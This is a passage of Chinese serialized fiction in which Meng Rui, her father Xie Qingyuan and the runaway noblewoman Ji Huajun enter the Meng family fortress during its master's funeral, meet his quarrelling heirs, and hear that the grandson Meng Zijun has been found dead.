前世,翠柳被厉青鸿命人射杀而死后,孟蕊身边的所有人都劝她,那只是一个丫鬟,死了就死了,她不该为了一个低贱的丫鬟,去埋怨英明神武、高高在上的镇北王。
可是孟蕊就是咽不下这口气,在她心中,翠柳是亲人,是同伴,翠柳的命,比厉青鸿的命重要一百倍!
杀了翠柳,厉青鸿就该偿命!
杀了碧芙的罗杰裕,也是死有余辜!
纪华筠不想嫁给二皇子,追求自由,孟蕊也觉得她没错,只要能够保护好自己,把日子过好,在哪里都能生活下去。
“你不回京,之后打算怎么办?”
孟蕊为纪华筠以后的生活担心。
“我手上还有几百两银子,可以先给你拿去用,离开渝州城后,找个安宁的地方安顿下来,你若是想做生意,我之后也可以帮忙。”
“你要帮我做生意?”纪华筠瞬间由怒转喜,“你人还怪好的。”
她笑盈盈地看着孟蕊,踌躇道:
“不过,几百两银子不够,你能凑一千两银子不?”
“你还想买孟家堡的请帖?”
孟蕊一眼看穿纪华筠的心思,毫不迟疑地拒绝。
“不行,太危险了,你不能去!我也没那么多银子。”
“你那么会赚钱,怎么会没有银子?”纪华筠明显不信。
她往孟蕊身边凑了凑,一把搂住孟蕊的肩。
孟蕊被她手上的大力箍得浑身一紧,心中升起一股紧张,纪华筠不会和孟瑜一样,要抢她的银子吧?
就在孟蕊惊疑不定之时,她听到纪华筠放软了声音,柔柔对着她撒娇。
“孟小姐,我知道,你是个好人,你就帮帮我吧~我不怕危险,人家真的好想去孟家堡见见世面,你想想办法嘛!”
孟蕊:“……”这是在对她使用美人计?
孟蕊看着纪华筠那张妍丽动人的脸,做男装打扮,也掩盖不了她惊心动魄的美貌,顾盼生辉间,令孟蕊这个女子也禁不住为之魅惑。
动了动身子,孟蕊想要拂开纪华筠的手,但肩上的胳膊像铁做的一样,根本扒不动。
“纪小姐,我二哥说了,孟家堡很危险,你不能去。”
孟蕊硬着语气,再次拒绝。
“再者说,我有多少银子,你也都看到了,大部分都被我二哥拿跑了,现在身上真就只有这么点。”
说着,孟蕊将身上的银票和银子,摆在面前的桌上,对纪华筠说:
“一共三百两面额的银票,再加五十二两银子,你要就都拿走。”
反正银子不够,纪华筠买不到请帖,去不了孟家堡。
纪华筠扫了眼桌上的银票和银子,抿了抿唇,没说拿,也没说不拿。
孟蕊见状,再次劝道:
“纪小姐,你要闯荡江湖,无可厚非,但既然我二哥说了,孟家堡很危险,让你不要去,你与他相识,当知道他所言非虚,该相信他才是啊。”
“余哥,真是你二哥?”
纪华筠歪着脑袋,饶有兴味地瞧着孟蕊。
“你给我说说,他真名叫什么?是哪个字?”
孟蕊不知道她又想打什么主意,不过二哥的名讳,可以告诉纪华筠。
“孟瑜,怀瑾握瑜的‘瑜’。”
纪华筠了然地点头,“孟瑾,孟瑜,嗯,我早该想到的。”
忽然,她眼珠一转,眉心蹙起,对着孟蕊又问:
“对了,你再给我说说,你二哥是什么情况?他怎么没有和你们一起在京城锦衣玉食,反而在相州当乞丐?”
“当乞丐?!”
孟蕊简直不敢相信自己听到了什么。
“纪小姐,麻烦你说清楚,我二哥怎么会当乞丐呢?”
第195章 相识经过
从纪华筠口中,孟蕊知道了她和孟瑜的相识经过。
纪华筠带着碧莲逃离京城后,一路南下,第一个目的地是碧莲的家乡相州。
碧莲七岁被家中卖给人牙子,后来辗转被卖入京城永宁侯府,早就与家中断了联系,但对家乡相州还有记忆,想回家看看亲人,纪华筠就带着她一起去了。
然而,碧莲的爹娘早已不在,只剩一个年幼的弟弟,两年前被叔叔赶出了家门。
纪华筠和碧莲,是在慈幼院找到了碧莲年仅十岁的弟弟。
男孩发着烧,瘦弱不堪,碧莲带着他去医馆看病,在抓药的功夫,男孩恍恍惚惚走上了街,差点被迎头驶来的马车撞上。
是蓬头垢面、不修边幅的孟瑜,眼疾手快地一把抱住男孩,侧翻躲过马车,因此与碧莲和纪华筠相识。
纪华筠见孟瑜身手不凡,起了结交的想法,她谎称自己抱不动生病的男孩,请孟瑜帮忙把男孩送回慈幼院。
之后的事,顺理成章。
孟瑜在慈幼院住下,洗了澡,换了干净衣服,和纪华筠和碧莲一起帮慈幼院修葺房屋。
纪华筠自己出银子,为慈幼院里的孩子们治病,添置新衣。
小半个月后,纪华筠听说孟家堡要举办传位大典的消息,迫不及待地要去孟家堡,她只留了路费,把身上大部分银子都给了慈幼院的孩子们。
此时碧莲弟弟的病已经好了,碧莲对这个多年不见的弟弟没什么感情,只要还活着就行,她打定主意要跟着小姐走。
纪华筠邀请孟瑜同行,孟瑜犹豫再三后,接受了邀请,和纪华筠一同前往孟家堡。
今天,是他们到达渝州城的第一天。
刚进城,他们就得知孟家堡堡主突然去世,又听人说,没有请帖进不了孟家堡。
为了进入心心念念的孟家堡,纪华筠要想办法弄到请帖,然后,她遇到了拿着请帖在酒楼大堂里炫耀的熊大魁。
熊大魁见纪华筠生得美丽,起了色心。
纪华筠以自己为赌注,忽悠熊大魁以孟家堡的请帖做押,两人比试扳手腕。
熊大魁觉得一个女人能有多大力气,认为自己必赢,轻易就上了勾,之后就是孟蕊看到的扳手腕比试场景……
“事情就是这样。”
纪华筠说完后,好整以暇地瞧着孟蕊。
“现在,该你告诉我了,孟瑜为什么在相州当乞丐啊?”
孟蕊叹了口气,看在纪华筠告诉她这么多事的份儿上,她也如实以告。
“我二哥幼时跟随我母亲离开京城,常年混迹江湖,几年前,他去南郡从军,已任职校尉,因为我父亲自作主张,找了关系要把二哥调回京城,惹得二哥不快,二哥直接辞了官,从军营中跑了出来。
我想,他大概是为了躲避那些追查他的人,才扮作乞丐,混迹市井的吧……”
孟蕊挑了重要的部分,简略地告知纪华筠,至于父亲和二哥之间十几年的父子纠葛,没必要让纪华筠这个外人知道。
“这么说来,是谢大人的错。”
纪华筠做出总结,义愤填膺道。
“孟瑜小时候,他不尽父亲的责任,现在儿子长大了,他跑来指手画脚,随意调遣孟瑜,凭什么要听他的?”
“纪小姐真乃豪爽不羁的性情中人。”孟蕊突然夸赞。
纪华筠不好意思地摸了摸脸颊,一双美眸亮晶晶地望向孟蕊,“你真这么觉得?”
“当然,我没理由骗你。”孟蕊感叹道,“只是在今日之前,我一直以为你是循规蹈矩、性情温婉的大家闺秀,没想到名动京城的贵女,是这般鲜活跳脱的性子。”
“咳,我才不想当大家闺秀呢,那都是被我爹娘逼迫束缚成的样子,我早就受够了!我就该早些从府中出来。”
纪华筠想到过去,小脸皱成一团,很是懊恼。
“我小时候,是跟着祖父长大的,祖父对我可好了,我想做什么,想学什么,都随我。
祖父去世后,我回到京城的爹娘身边,开始还好,后来年纪大一点,他们就处处拿家族荣辱性命约束我,好像只要我行差踏错一步,我们家就要万劫不复一样。
但凡胆子小的,都要被他们吓死。”
她扬了扬头,轻松伸展着双臂,对孟蕊咧嘴一笑。
“现在好啦,我彻底离开,以后,天高海阔,任我逍遥,是生是死,全凭本事。”
孟蕊被纪华筠快乐的情绪感染,也跟着微笑起来。
“希望纪小姐可以如愿。”
“借你吉言。”纪华筠咧嘴笑得谄媚,“孟小姐,那银子……”
“还是那句话,银子只有这么多,你要就都拿走。”
孟蕊指着桌上的银票和银子,好心提醒。
“纪小姐,我便与你直说了,你的行踪,我会为你保密,但是不久后,我父亲会到渝州,他与纪大人交情不错,他若是见到你,应是会告知你家中。”
“谢大人要来?”纪华筠不见担忧,反而露出惊喜的笑。
孟蕊如实点头,“是,我父亲这两日便到,你若要离开,便赶早……”
“我不走。”纪华筠毫不犹豫道。
她突然抓起孟蕊的双手,期待地问:
“我想起来了,你姓孟啊,孟家堡的孟,你不敢进孟家堡,但谢大人是孟家堡的女婿,他老丈人死了,他是要去奔丧的,对不对?”
意识到纪华筠依然没有放弃去孟家堡,孟蕊顿觉无力。
“我不知道,要等我父亲到后,听他安排。”
最终,纪华筠和碧莲都没有走,孟蕊给她们开了一间上房歇息。
晚些时候,去追踪孟瑜的吟夏回来,禀报孟蕊说,没追上孟瑜,但打听到孟瑜买了请帖,已经进了孟家堡的地界。
孟蕊并不意外,二哥和娘亲一样,都是她劝不住的性子、又有她管不了的功夫,她能做的有限,接下来就是等待爹爹到来。
日落之后,孟蕊早早上床歇息。
这一夜,她睡得不安稳。
梦中,她身处一座雾气缭绕的山中。
血红色的雾气将她包围,让她看不清方向,找不到出路。
正当她惊惶无措时,耳边传来哒哒的马蹄声……
孟蕊从梦中惊醒,望见窗外天已经亮了,真的有由远及近的马蹄声,自窗外传来。
守在床边打盹的吟秋,霍然睁开眼,警惕地起身,走到窗边,将窗户打开一个小缝,观察外面的情况。
片刻后,吟秋欢喜地转身,对正起床穿衣的孟蕊说:
“公子,老爷到了,就在楼下。”
第196章 爹爹来啦
谢清源的到来,比孟蕊预想的要快。
谢清源带来的人马,也比孟蕊以为的要多。
孟蕊快速收拾好自己,打开门,迫不及待地往楼下跑。
天光还未大亮,清晨的长街上,只有零星几个行人。
孟蕊跑到客栈门口,就看到一身玄色骑装,下马向她走来的父亲谢清源,以及谢清源身后整齐排列的上百名骑兵侍卫。
“爹爹!”
一月未见的父亲突然出现在眼前,孟蕊激动地跑过去。
“您怎么提早来了?您连夜赶路了?”
以吟秋的预计,谢清源最早也是要今晚才能赶到,但现在这种情形,很明显,谢清源是连夜赶路,才会这么快到达。
谢清源乐呵呵地看着女儿,“哎呀,这是谁家俊俏的小公子啊?让为父好好看看。”
他拉着富家公子打扮的孟蕊,新奇地左看看,右瞧瞧。
“嗯,黑了,也壮了,你娘养孩子就是粗糙,没事儿,回去爹爹给你上好的玉颜膏,半个月就能白回来。”
“爹爹,我觉得黑点儿挺好的,扮起男子来更像。”
孟蕊并不在乎自己的肤色,拉着谢清源说起正事。
“我有重要的事要告诉您。”
她警惕地环顾四周,客栈大堂中并没有其他客人,只看到客栈掌柜,站在柜台后面候着。
“咱们去后院说话。”
谢清源对孟蕊说完,又对客栈掌柜吩咐道。
“准备餐食和房间,安排外面的人马休整,客栈房间不够,把隔壁的别院打开。”
“是,小的这就安排。”客栈掌柜应声而去。
谢清源则带着孟蕊,熟门熟路地去了客栈后院的房间。
孟蕊这时才知道,原来她住的客栈,是她爹爹的产业。
圆桌前,父女俩一起用早膳。
孟蕊一边吃,一边将近几日的情况,挑着重点报告给父亲。
首先,娘亲留信说孟家堡很危险,让孟蕊不要去,但她自己改头换面,潜入了孟家堡,且使用的身份容貌未知。
第二,孟蕊见到了二哥孟瑜,孟瑜拿走了孟蕊一千一百两银票,去买了孟家堡的请帖,和娘亲一样,独自进入了孟家堡。
第三,孟瑜是和从京城逃跑的纪华筠,一起到达渝州的,而纪华筠,也一心想要进入孟家堡。
“爹爹,你说孟家堡中,到底有什么危险呢?”
孟蕊咬下一口饼,苦恼地问谢清源。
“娘亲和二哥都说那里很危险,让我不要去,但是他们两个,跑得一个比一个快,我想拦都拦不住!”
谢清源听得津津有味,“乖女儿,咱们家,你是最乖的那个,你娘和你哥不听话,我也管不住。”
“爹爹,你不也没听娘亲的话?”
孟蕊发现她爹说得对,好像他们一家人,只有她在乖乖听话。
“娘亲让你待在京城,不要跟来,你答应得好好的,我们没走几天,你就跟来了。”
谢清源吸溜完一碗肉臊面,笑着对孟蕊说:
“为父也是没办法,我待在京城,日日提心吊胆,夜夜担心你们,连觉都睡不好,不得不跟着你们才能安心一点。”
听到爹爹这样说,孟蕊感同身受,开始担心起昨日分别进入孟家堡的娘亲和二哥。
“别太紧张,你娘和阿瑜武功都很好,一般人近不了他们的身。”
谢清源看出女儿的忧虑,出声安慰。
“现在是辰时初刻,需要留出些时间,让我带来的侍卫和马匹休整,一个时辰后,我们出发去孟家堡。”
孟蕊想到爹爹带来的人马,心中安定了许多,刚想答应,突然想到娘亲和二哥的嘱咐,又迟疑了。
“爹爹,娘亲和二哥都说孟家堡有危险,不让我们去,我们去了,会不会给他们带来麻烦?”
孟蕊内心十分纠结,既担心亲人安危想要去,又怕自己做错决定。
“二哥还说,血色雾气会笼罩孟家堡,非孟家子孙,无人生还。他说这话时很认真,不像是假的。”
“血色雾气?”谢清源来了兴趣,“我好像在哪里听过这个说法。”
他一手托腮,皱着眉头想了好一会儿,依然没想起来。
忽然,外面院子里响起吵闹声。
孟蕊听出来,是纪华筠在和守门的侍卫争吵。
她起身去开门,让侍卫把纪华筠放了进来,总是要让父亲见一面纪华筠的。
“谢大人!您终于来啦!”
纪华筠还是昨日那身书生装扮,一进门,就对着谢清源作揖行礼。
“小生这厢有礼了。”
谢清源愣了一瞬,才勉强认出来人,“纪小姐?”
“是我。”纪华筠自认不讳,“不过现在,请称呼我墨公子,近墨者黑的‘墨’。”
“啊?你改姓了?”谢清源摸不清状况,求助地看向孟蕊。
孟蕊无奈道:“您可以理解为,这是纪小姐在江湖上的名号。”
“正是这个意思,在外行走,换个名号,更加方便。”
纪华筠直起身,笑眼弯弯,直截了当道。
“谢大人,带我一同去孟家堡吧,我不会给你们添麻烦的。”
谢清源看着纪华筠,想到其父永宁侯纪恺,稍稍犹豫后,选择拒绝:
“纪小姐,此行有危险,恕本官不能带你去。”
“是吗?到了江湖上,您还搁这儿摆官架子?怪不得孟瑜不待见您。”
纪华筠不悦地斜眼瞧着他。
“可惜了,我这里还有些关于孟瑜的消息,看来是不能便宜你们了。”
“阿瑜的什么消息?”谢清源怀疑地看向她,“你想骗我们带你去?”
“看在谢大人的面子上,我可以先透露一点。”
纪华筠眼波流转,高深莫测地说。
“其实,孟瑜会来孟家堡,是因为他收到了一张黑色请帖。”
“黑色请帖?”孟蕊疑惑地问,“也是孟家堡的请帖?”
她记得,娘亲孟天收到的孟家堡信中,有一张红色请帖。
那是孟家堡邀请孟天去观礼传位大典的请帖,是喜事,所以请帖是红色。
而昨日熊大魁抢的那张请帖,是去祭拜已经突然去世的孟堡主孟剑雨,所以请帖是丧仪使用的白色。
可是她的二哥孟瑜,怎会收到一张来自孟家堡的黑色请帖呢?
第197章 进入孟家堡
“我之前没发现,直到昨天看到熊大魁的请帖,才想起来……”
纪华筠嘴角微扬,勾出诱惑的弧度。
“孟瑜的那张黑色请帖上,也有孟家堡的标志,我当时还翻开看过呢。”
“那黑色请帖上写了什么?”孟蕊追问。
“这个嘛……现在还不能告诉你们。”
纪华筠狡黠一笑,期待地望向谢清源。
“带我去孟家堡,到地方之后,我就告诉你们,怎么样?”
谢清源沉吟道:“这个消息,并不是很重要,无论是什么原因去的,孟瑜都已经去了孟家堡,所以……”
“我和孟瑜私定终身了!”
纪华筠大声喊出,打断谢清源的再次拒绝。
谢清源双目震惊,不敢相信地盯着她,“你说什么?!”
孟蕊也惊愕地看向纪华筠,快速回想着昨日纪华筠和孟瑜的相处,他们像私定终身的样子吗?
迎着对面父女二人的惊讶目光,纪华筠气定神闲地说:
“谢大人,我与孟瑜相识于相州,结伴同行到渝州,这半个月来同进同出,日久生情,已经定下了终身,不信的话,您可以去查。”
“我……我这……”谢清源罕见地不知如何应对,“你和阿瑜这……哎呀!我要怎么和你爹娘交代呀!”
“您现在该想的不是和我爹娘交代,是如何让孟瑜向我交代!”
纪华筠直言正色,一本正经地对谢清源道。
“谢大人,孟瑜他现在,居然抛下我,独自去了孟家堡,我怀疑他要对我始乱终弃。
我要去找他问个清楚!请您带我去孟家堡找他吧!”
谢清源看着纪华筠发愁,若此事真如她所言,确实是孟瑜理亏在先。
最终,在纪华筠的强烈要求下,谢清源同意带上她,一起去孟家堡。
作为连年都来拜访岳父孟堡主的优秀女婿,谢清源要带人进孟家堡,根本用不着请帖。
谢清源往那儿一站,守着关卡的孟家堡侍卫,立马认出了谢大人,恭敬地行礼又放行,侍卫小头目还殷勤地陪伴前行,一路畅通,不多时,就到达了影山脚下,孟家堡的大门。
孟家堡依影山山势而建,远望如琼楼玉宇嵌于绝壁,布局险峻而庄严,透着一股孤高绝世的凌厉之风。
第一次来到孟家堡的孟蕊和纪华筠,都仰着头,惊叹地望着山崖上的飞檐斗拱。
“那样陡峭高峻的地方,居然能修房子,真的能住人吗?”纪华筠跃跃欲试地问。
“那是以前供在山中习武的弟子们休憩之所,已经许久不用了。”
陪同的孟家堡侍卫谄媚地上前答道。
“现在堡内之人,基本都住在山脚的府中。”
他们立在孟家堡雄伟的大门立柱前,等待孟家堡的门房入内通传。
孟蕊看着前方朱红的大门,觉得和京城的那些高门大户的大门无甚区别,倒是大门上方中央,那牌匾中的“孟家堡”三字,笔势犀利,如剑锋劈落,让人眼前一亮。
“这大门是后来修的吗?与山上的建筑好像不是一个风格。”
孟蕊觉得,与山崖上朴素但各有特色的木屋相比,这朱红大门显得俗气了些。
在侍卫热情的讲解下,孟蕊了解到,孟家堡最早的山门并不在此处,随着孟家堡一代又一代的扩张,堡内不断向外扩建,大门也向外移到了如今的位置。
不过唯一不变的,是大门上的牌匾,那是孟家堡初代堡主孟道原所刻,经历岁月沉浮,依然字迹苍劲,隐带锋芒。
没等多久,朱红大门打开,一名身着白色丧服、管家模样的中年男子,在几名小厮的簇拥下,快步迎了出来。
“见过谢大人!”中年男子带着小厮向谢清源行礼。
“田管家不必多礼。”
谢清源上前,将田管家扶起,两人熟悉地寒暄起来。
孟蕊站在谢清源身后,不动声色地观察田管家。
来之前,她便知道田管家,此人名叫田季达,是刚去世的堡主孟剑雨接任堡主之位后,提拔的管家,据说是孟剑雨继室苗夫人那边的亲戚。
田管家年约五旬,看起来四十出头的样子,身形偏瘦而挺拔,容貌端正,鬓发微白,额上的皱纹不显颓态,反添几分威严。
他眼角还带着明显的泪痕,许是刚在灵堂上哭过,此刻与谢清源说话时,声音沙哑,面色哀伤,一副为主人离世悲痛的忠仆做派。
“从去年底入冬之后,堡主的身体,就渐渐不好了,找了许多大夫来看,都没什么用。”
田管家用衣袖摸了摸眼角的泪,伤心地说。
“小人曾提出求谢大人您请太医来看,被堡主严词拒绝了,他说自己只是小毛病,不碍事,堡中还筹备传位大典呢,堡主一睡不起,突然就没了……”
田管家神情痛苦,以袖掩面,难以再说下去。
谢清源也哀伤地叹息,“确实太突然了,我若不是巡视铺子,刚好到蓬州,都赶不上见岳父大人最后一面,咱们快些进去吧。”
“是小人疏忽了。”
田管家擦了擦眼角,看向谢清源身后带来的侍卫,犹豫道。
“谢大人,堡中在办丧事,您这些侍卫,不方便进入。”
“田管家,我有公务在身,这些侍卫是陛下派来保护我的。”
谢清源挺起胸,对着上方虚空拱了拱手,施压道。
“岳父大人办丧事,外边来的人不少,鱼龙混杂,我若是在孟家堡有了好歹,你们怕是无法对陛下交代。”
“这……”田管家犹豫不决,“您当然可以带侍卫保护,但您身后这些人也太多了,堡内住不下。”
谢清源大手一挥,“我自带小部分人进去,大部分在堡外安营扎寨,如此可好?”
田管家只能点头应好,看着谢清源一招手,前排约十名侍卫出列,跟在了谢清源身后。
常理来说,江湖和朝廷互不干扰,谢清源却是个跨越的例外。
他在朝中有官职,与当今皇帝交情颇深,是江湖名门孟家堡的女婿,甚至孟家堡在渝州城的生意,他都有参与出资经营。
这样身份贵重之人,孟家堡不可能把他拒之门外,更不能因为孟家堡的疏失,造成无法挽回的意外。
于是,谢清源带着孟蕊、纪华筠,和十几名侍卫随从,大摇大摆地走进了孟家堡大门。
第198章 孟家子孙
孟家堡内一片缟素,田管家引着谢清源一行,直往灵堂的方向而去。
灵堂布置在堡内正厅,白幡低垂,白烛长明,香案上供着祭品,铜炉升起袅袅青烟,檀香混着纸灰的气味,弥散在浑浊的空气里。
香案之后,是黑漆棺椁,里面静静躺着孟家堡堡主孟剑雨。
披麻戴孝的孝子孝孙们,伏跪于蒲团之上,手中烧着纸钱,哭声嘶哑断续。
孟蕊跟随谢清源,进入灵堂,执三炷香在灵前祭拜。
祭拜完成后,谢清源走到跪在最前方的孟繁身边,道了句“节哀顺变”。
孟蕊站在父亲身后,看着与父亲说话的孟繁,知道这是孟剑雨和苗氏的长子。
孟繁今年三十三岁,比孟天小九岁,但外表看起来,比孟天要老不止十岁。
孟繁脸型圆阔,身形臃肿,大腹便便,皮肉松垮,看起来气色虚浮,一副在酒色中浸入了味的萎靡不振样。
据说,孟繁十四岁开荤,十五岁就当了爹。
他的女人很多,生的孩子也多,但能活着养到大的很少,如今养在堡内的只有三个儿子,分别是孟子仁、孟子信和孟子俊。
大少爷孟子仁,为孟繁妾室所出,是孟繁的第一个孩子,现年十八岁。
二少爷孟子信,是孟繁从外面带回来的儿子,生母不详,现年十七岁。
三少爷孟子俊,是孟繁正妻杨氏所出,现年十六岁,已经开始逐步接手孟家堡的事务。
此时,谢清源对孟繁安慰了几句场面话,提出想再见岳父孟剑雨最后一面。
孟繁双目浑浊,为难地看向谢清源。
“姐夫,你的心意我明白,但家父已正式入棺大殓,棺盖已合,不便再行开棺,请你见谅。”
“我一听到消息,就连夜骑马赶来,不想还是晚了一步。”
谢清源做出遗憾万分、又带有一丝期待的表情。
“二弟,我只是想再看一眼岳父大人,就一眼,能不能通融一下?”
“这……还是不太好吧……”
孟繁犹豫了,他望向谢清源的身后,却没找见想找的人。
“听说你已经找到大姐,她没有和你一起回来奔丧吗?”
谢清源无奈地叹了口气,愁眉苦脸地说:
“哎,夫人与岳父都是刚直倔强之人,当年你们祖父去世后,岳父大人曾放言,再不认你大姐这个女儿,也不想再见到她。
夫人一直记着岳父大人的话,她说岳父大人不想见到她,她还是不要来讨嫌,让岳父大人走得安息。”
“那些都是父亲一时气话,岂能当真?”
孟繁旁边跪着的孟简,突然站起来,义正言辞道。
“父亲离世,大姐身为女儿,理当回来奔丧,她找任何理由,都没有道理!”
孟蕊看向这个形象气质比孟繁提升不止一点的孟简,突然明白为什么外面那么多人,会支持孟简当孟家堡下任堡主了。
孟简比孟繁小三岁,今年刚到而立之年,他比孟繁高出半个头,身形魁梧挺拔,可见习武之人的筋骨,容貌端正清俊,双目明亮有神,说话时透着沉稳气度。
与酒色不忌的兄长孟繁不同,孟简只娶了一妻一妾,一双儿女都还不到十岁。
孟简对着谢清源正色道:
“请姐夫速速通知大姐回来,否则,她便是不孝,她以后休想再回孟家堡,我也不会再认她这个姐姐!”
孟蕊双眸微眯,深深望向说话的孟简,此人很希望孟天回到孟家堡,他是真的孝心,还是别有所图呢?
“三弟,你这话言重了。”谢清源向孟简靠近,伸手拍上他的肩安抚,“你姐姐只是一时没想通,等她想通了,自然会来的。”
孟简冷着脸,拂开谢清源的手,“父亲都去世了,现在不来,以后来还有什么意义?”
“好了,在父亲面前,别说不好听的话。”孟简的妻子蒋氏过来,拉住孟简。
孟简看了她一眼,压抑着情绪,顾自又跪下,往火盆里添纸钱。
孟繁尴尬地搓了搓手,对谢清源道:
“姐夫,你别和三弟计较,父亲走了,他心情不好,我让子信先带你们去休息,等晚间事少了,咱们再说话。”
谢清源不在意地摆了摆手,“我理解,没事的。”
之后,谢清源带着孟蕊一行人,跟着孟繁的次子孟子信,离开灵堂。
“姑丈,咱们还是去您常住的院子安顿?”
孟子信走在谢清源身侧,客气地问。
过去十六年来,谢清源几乎每年都来孟家堡拜访,与孟家堡晚辈的几个孩子都认识,不过说不上熟悉。
顺应着孟家堡的扩建,谢清源厚着脸皮,给自己也要了一块地,自己出钱修了一间院子,命名天源阁,每年来孟家堡,他都住天源阁。
谢清源点点头,熟门熟路地往自己的院子走,“天源阁有打扫干净吗?”
“姑丈放心,自从堡内准备传位大典以来,祖父就吩咐把您的院子打扫好,没想到……”
孟子信原本就苍白的脸色,更加面无血色。
“祖父就那样一睡不起,真是世事无常。”
孟蕊一边走,一边用余光观察这个孟子信。
此人身形瘦削,面色发白,有病弱之态,提起过世的堡主祖父,颇为伤心,孟蕊都担心他会不会突然晕倒。
坊间传言,孟子信是孟繁与某个青楼妓子生的孩子,并非母不详,而是生母身份太过低贱,不被孟堡主允许进门,只带了孩子回来。
谢清源也颇为哀痛地叹息,“是啊,去年见到岳父大人时,他老人家身子还十分硬朗,没想到那一面后,竟是天人永隔,对了,子信,你给我说说,你祖父是什么病去世的?他离世之前,有什么交代?”
孟子信迷茫地摇头,“我不太清楚,前几日我也病了,在卧床休息,没有在祖父床前侍疾尽孝,我真是太没用了。”
“你从小体弱,照顾好自己就不错了,没人会苛责你。”
谢清源先时安慰,然后话锋一转。
“那你祖父生病后,是谁在照顾他呢?”
第199章 三少爷之死
“父亲和叔父,都有在祖父跟前尽孝。”
孟子信的回答不偏不倚。
“大哥和三弟,还有我身体无碍的时候,也都会去照顾祖父。”
谢清源对他的回答不太满意,没有再问,而是换了个问题,“方才在灵堂上,怎么没有看到你祖母?不若你先带我去拜见苗夫人?”
苗夫人是孟剑雨的第二任妻子,是孟繁和孟简的生母,也是孟子信这些孙辈的亲祖母。
孟子信面露难色,委婉拒绝:
“祖父过世,祖母伤心过度,昨日在灵堂上哭晕了过去,今日在房中休息,父亲交代,不让任何人去打扰,姑丈还是先安顿好,待祖母身体好转,再去拜见不迟。”
“嗯,也好。”谢清源应道,没有坚持。
说话间,他们已经走到了天源阁门口。
天源阁位于孟家堡的东南角,位置偏僻了些,但胜在离北边的影山较远,早晚受山中雾气影响较小。
同时,此处靠近外侧,隔一道墙就是谢清源带来的百名侍卫驻扎之地,若遇危险,侍卫可以在短时间内翻墙而入,提供保护。
孟子信走在前头,将天源阁的大门推开,引着谢清源一行走了进去。
天源阁是个两进的院子,外院有东西厢房,内院的正房修了两层楼,甚至还有单独的厨房,谢清源带进来十几个人,完全住得下。
“姑丈,您看还有什么需要,都可以和我说。”
孟子信拘谨地站在门口,没有入内。
谢清源拍了拍他的肩,笑道:
“子信啊,你现在说话怎么跟个管家似的,来来来,随我进屋说话。”
谢清源勾着孟子信的肩,将瘦弱的后生拉进了堂屋,兴致勃勃地和他交谈。
“你父亲看重你,等他当上了堡主,你也跟着水涨船高,行事大气些,姑丈很看好你哦!”
孟子信垂下头,局促不安地说:
“姑丈,您别拿子信开玩笑了,以我的身份,和这不中用的身子,能在堡中安稳活着,已是万幸,不敢想其他……况且堡主之位未定,不一定是我父亲……”
他的声音越说越小,说到最后一句话时,几乎声如蚊呐。
“你说什么?”谢清源诧异地大声问,“下一任堡主不是你父亲,还能是谁?难道你祖父把堡主之位传给你叔父了?”
孟子信瞳眸微缩,呼吸变得急促,“我不知道!我什么都没说!”
“可是你刚才明明说……”
谢清源还要再问,孟子信推开他的手,跌跌撞撞地退到门口。
“姑丈,您要是没有其他吩咐,我还有事,先告退了。”
不等谢清源说话,孟子信就惊惶失措地跑出了天源阁。
侍卫想要去阻拦孟子信,被谢清源抬手阻止,放任孟子信跑走。
孟蕊看着落荒而逃的孟子信,觉得这孟家堡内,果然处处都有古怪。
首先,渝州到孟家堡的路上,设置两道关卡就很奇怪,像是在防备什么人偷溜进来。
今天到孟家堡大门口,孟蕊也觉察出不对劲。
京中大户办丧事,都是大门打开,迎亲朋好友入门吊唁。
但孟家堡却大门紧闭,要通传才来人开门,也是近乎防备的做派。
而灵堂之上,孟蕊对哭丧的孟家子孙数了数,明显人数不足。
除了孟繁夫妇和孟简夫妇,孙辈中只有孟繁的次子孟子信,和孟简的幼子孟子伦在。
孟繁的长子孟子仁和嫡子孟子俊,和孟简的长女孟子倩都不在场。
前来吊唁的其他宾客也不多,孟蕊一行在路上,只遇到零星的两三个宾客。
听田管家说,从渝州城前来吊唁的宾客,大多当日会离开,只有亲朋至交和外地来的客人,会入住孟家堡客院,等待参加停灵七日后的出殡葬礼。
当然,刚才的孟子信也很奇怪。
语焉不详,说话只说一半,孟蕊直觉他不是真的慌乱,而是故意装出的样子,想要引导谢清源去猜疑。
直到孟子信的背影完全消失,孟蕊转头望向父亲。
谢清源神色淡淡,指挥着带来的侍卫们关上大门,分组去检查天源阁的各个房间。
穿着侍卫的黑色劲装的纪华筠,也跟着侍卫,在天源阁的房间里东瞧瞧西看看,她现在的身份,是谢清源身边的一等侍卫。
而来到孟家堡的孟蕊,不再是富家公子打扮,而是一身灰色长衫,身份是跟随谢清源巡查铺子的账房先生。
孟蕊身边只带了做侍卫装束的吟秋,吟夏和碧莲留在渝州城的客栈中没有跟来。
两刻钟后,所有房间检查完毕,全都排除了异常。
谢清源抬头望了望当空的日头,此时接近正午,他让侍卫去找田管家问问,有没有准备他们的午饭,如果没有,他们就自己做饭。
侍卫刚打开门要出去,却见迎面跑来去而复返的孟子信。
“姑丈,出事了!出大事了!”
孟子信脸色青白,像是刚见过什么极为惊恐的事物。
“子信,你别急,有什么话慢慢说。”谢清源道。
孟子信扶着门框,大口喘着气,神情惊骇中掺杂着哀痛。
“姑丈,我三弟子俊死了!您快跟我一起去看看吧!”
“孟子俊死了?”谢清源不可置信地问。
完全是他没有预料到的回答。
孟子信确定地点头,喘气声稍稍平稳,“是真的,父亲和叔父他们都过去了,父亲让我来叫您。”
孟子俊行三,是孟繁和正妻杨氏唯一的嫡子,身份比两位兄长孟子仁和孟子信要高,通常认为是孟繁的正统继承人,他死了,可是件了不得的事。
谢清源目光审视,问孟子信:“子俊是怎么死的?”
“不知道,父亲召集了堡内所有宾客,所以要麻烦姑丈也过去一趟。”
孟子信语气虚弱,让他的话多了几分可信的感觉。
“好,我们这就出发。”
谢清源带上孟蕊和纪华筠,又点了几个贴身侍卫,与孟子信一起,前往孟子俊的住所。
孟蕊紧紧跟着父亲向前走,她没见过孟子俊,但她记得很清楚,去孟家堡的请帖,就是这位孟三少爷在主持售卖,一张要一千两银子,是个让孟蕊印象深刻的奸商。
而现在,这位奸商三少爷,居然死在了自己家里,真是太诡异了。
第200章 谁是凶手?
谢清源一行人赶到时,便看到孟子俊的院子内外,一片混乱。
院子里传来凄厉哀痛的女子哭嚎声,伴随着男人相互对骂,下人们战战兢兢守在院门口,阻止院外好奇张望的宾客们进入。
看到孟子信和谢清源,下人们才打开院门,放他们一行进入院中。
孟子俊作为孟繁唯一的嫡子,他住的院子不但靠近正房,位置极好,院落也十分宽敞,布置考究精致。
